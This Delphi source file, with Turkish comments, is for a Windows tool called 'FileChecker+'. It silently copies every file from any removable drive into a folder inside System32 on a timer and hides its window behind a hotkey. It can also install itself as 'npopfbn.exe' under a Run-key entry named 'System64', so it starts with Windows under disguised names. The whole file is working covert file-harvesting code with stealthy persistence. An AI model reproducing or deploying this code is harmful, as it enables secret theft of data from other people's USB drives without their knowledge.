//  FileChecker+ - Yasin Ersever © 2009 
  // 
  //  Bu programın tüm kodlaması Yasin Ersever'e aittir. Kodlar, bu  
   
  açıklayıcı 
  //  ifade ile istenildiği gibi kullanılabilir, çoğaltılabilir yada 
  //  yayınlanabilir. 
  // 
  //  Kodlanmış olan bu programın, para veya türevi bir vasıta ile  
   
  satılması 
  //  yasaktır. 
  // 
  //  Yasin Ersever 
  //  yasinersever@hotmail.com 
   
  unit Unit2; 
   
  interface 
   
  uses 
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls,  
   
  Forms, 
    Dialogs, StdCtrls, ExtCtrls,LZExpand, ActnList, Registry; 
   
  type 
    TForm2 = class(TForm) 
      Button1: TButton; 
      Button2: TButton; 
      Button3: TButton; 
      Bevel1: TBevel; 
      Label1: TLabel; 
      Label2: TLabel; 
      ListBox1: TListBox; 
      Button4: TButton; 
      Timer1: TTimer; 
      ActionList1: TActionList; 
      SurucuBul: TAction; 
      ListBox2: TListBox; 
      Timer2: TTimer; 
      Button5: TButton; 
      Button6: TButton; 
      procedure Button4Click(Sender: TObject); 
      procedure FormDestroy(Sender: TObject); 
      procedure FormCreate(Sender: TObject); 
      procedure Timer1Timer(Sender: TObject); 
      procedure Button2Click(Sender: TObject); 
      procedure Button3Click(Sender: TObject); 
      procedure Button1Click(Sender: TObject); 
      procedure FormShow(Sender: TObject); 
      procedure SurucuBulExecute(Sender: TObject); 
      procedure Timer2Timer(Sender: TObject); 
      procedure Button5Click(Sender: TObject); 
      procedure Button6Click(Sender: TObject); 
    private 
      { Private declarations } 
      id1: Integer; 
      procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY; 
    public 
      { Public declarations } 
    end; 
   
  var 
    Form2: TForm2; 
    Esitle : Boolean; 
    Source, Destination : string; 
    S32Klasoru : Array[0..144] of char; 
   
  implementation 
   
  {$R *.dfm} 
   
  procedure SetAutoStart(AppName, AppTitle: string; bRegister: Boolean); 
  const 
    RegKey = '\Software\Microsoft\Windows\CurrentVersion\Run'; 
  var 
    Registry: TRegistry; 
  begin 
    Registry := TRegistry.Create; 
    try 
      Registry.RootKey := HKEY_LOCAL_MACHINE; 
      if Registry.OpenKey(RegKey, False) then 
      begin 
        if bRegister = False then 
          Registry.DeleteValue(AppTitle) 
        else 
          Registry.WriteString(AppTitle, AppName); 
      end; 
    finally 
      Registry.Free; 
    end; 
  end; 
   
  procedure TForm2.WMHotKey(var Msg: TWMHotKey); 
  begin 
    if Msg.HotKey = id1 then 
      Form2.Show; 
  end; 
   
  procedure TForm2.FormShow(Sender: TObject); 
  begin 
  Esitle := True; 
  Source := ''; 
  Destination := 'C:\Windows\System32\64Bit'; 
  end; 
   
   
  procedure FindFiles(StartDir, FileMask: string); 
  var 
    SR: TSearchRec; 
    DirList: TStringList; 
    IsFound: Boolean; 
    i: integer; 
  begin 
    if StartDir[length(StartDir)] <> '\' then 
      StartDir := StartDir + '\'; 
    IsFound := 
      FindFirst(StartDir+FileMask, faAnyFile-faDirectory, SR) = 0; 
    while IsFound do begin 
      Form2.ListBox1.Items.Add(StartDir + SR.Name); 
      IsFound := FindNext(SR) = 0; 
    end; 
    FindClose(SR); 
    DirList := TStringList.Create; 
    IsFound := FindFirst(StartDir+'*.*', faAnyFile, SR) = 0; 
    while IsFound do begin 
      if ((SR.Attr and faDirectory) <> 0) and 
           (SR.Name[1] <> '.') then 
        DirList.Add(StartDir + SR.Name); 
      IsFound := FindNext(SR) = 0; 
    end; 
    FindClose(SR); 
    for i := 0 to DirList.Count-1 do 
      FindFiles(DirList[i], FileMask); 
    DirList.Free; 
  end; 
   
  procedure TForm2.Button1Click(Sender: TObject); 
  var i, a : integer; 
  begin 
  Timer1.Enabled := False; 
  ListBox1.Clear; 
  ListBox2.Clear; 
   
  if not DirectoryExists(Destination) then CreateDir(Destination); 
  SurucuBul.Execute; 
   
  for a := 0 to ListBox2.Items.Count -1 do 
  begin 
  FindFiles(ListBox2.Items[a], '*.*'); 
  end; 
   
  for i := 0 to ListBox1.Count -1 do 
  begin 
      CopyFile(PCHar(ListBox1.Items[i]),PCHar(Destination+'\'+  
   
  ExtractFileName(ListBox1.Items[i])),False); 
  end; 
  Label1.Caption := 'En Son Eşitleme : ' + DateToStr(Date) + ' | ' +  
   
  TimeToStr(Time); 
   
  if Esitle = True then Timer1.Enabled := True; 
  end; 
   
  procedure TForm2.Button3Click(Sender: TObject); 
  begin 
  Form2.Close; 
  end; 
   
  procedure TForm2.Button2Click(Sender: TObject); 
  begin 
  Esitle := not Esitle; 
  if Esitle then 
  begin 
  Label2.Caption := 'Otomatik Eşitleme : Açık'; 
  Timer1.Enabled := True; 
  end 
  else 
  begin 
  Label2.Caption := 'Otomatik Eşitleme : Kapalı'; 
  end; 
   
  end; 
   
  procedure TForm2.Timer1Timer(Sender: TObject); 
  begin 
  Button1.Click; 
  end; 
   
  procedure Delay(ms : longint); 
  var TheTime : LongInt; 
  begin 
     TheTime := GetTickCount + ms; 
     while GetTickCount < TheTime do 
       Application.ProcessMessages; 
  end; 
   
  procedure TForm2.FormCreate(Sender: TObject); 
  const 
    MOD_ALT = 1; 
    MOD_CONTROL = 2; 
    MOD_SHIFT = 4; 
    MOD_WIN = 8; 
    VK_A = 65; 
    VK_R = 82; 
    VK_F4 = 115; 
  begin 
    GetSystemDirectory(S32Klasoru, sizeof(S32Klasoru)); 
    id1 := GlobalAddAtom('Hotkey3'); 
    RegisterHotKey(Handle, id1, MOD_WIN, VK_A); 
  end; 
   
  procedure TForm2.FormDestroy(Sender: TObject); 
  begin 
  UnRegisterHotKey(Handle, id1);  
  end; 
   
  procedure TForm2.Button4Click(Sender: TObject); 
  begin 
  Form2.Hide; 
  end; 
   
  procedure TForm2.SurucuBulExecute(Sender: TObject); 
  var buffer : array[0..500] of char; 
      temp : PChar; 
      typ  : integer; 
  begin 
    ListBox1.Clear; 
    GetLogicalDriveStrings( sizeof( buffer ), buffer ); 
    temp := buffer; 
    while temp[0] <> #0 do 
    begin 
      typ := GetDriveType( temp ); 
      with ListBox2.Items do 
        case typ of 
          DRIVE_REMOVABLE : Add( temp ); 
        end; 
      temp := StrEnd( temp ) + 1; 
    end; 
  end; 
   
  procedure TForm2.Timer2Timer(Sender: TObject); 
  begin 
  Timer2.Enabled := False; 
  Form2.Hide; 
  end; 
   
  procedure TForm2.Button5Click(Sender: TObject); 
  begin 
    if fileexists(PChar(S32Klasoru + '\npopfbn.exe')) then 
    Abort 
    else 
    begin 
    CopyFile(PChar(Application.Exename), (PChar(S32Klasoru +  
   
  '\npopfbn.exe')), True); 
    SetAutoStart(PChar(S32Klasoru + '\npopfbn.exe'), 'System64', True); 
    end; 
  end; 
   
  procedure TForm2.Button6Click(Sender: TObject); 
  begin 
    if not fileexists(PChar(S32Klasoru + '\npopfbn.exe')) then 
    Abort 
    else 
    begin 
    DeleteFile(PChar(S32Klasoru + '\npopfbn.exe')); 
    SetAutoStart(PChar(S32Klasoru + '\npopfbn.exe'), 'System64', False); 
    End; 
  end; 
   
  end.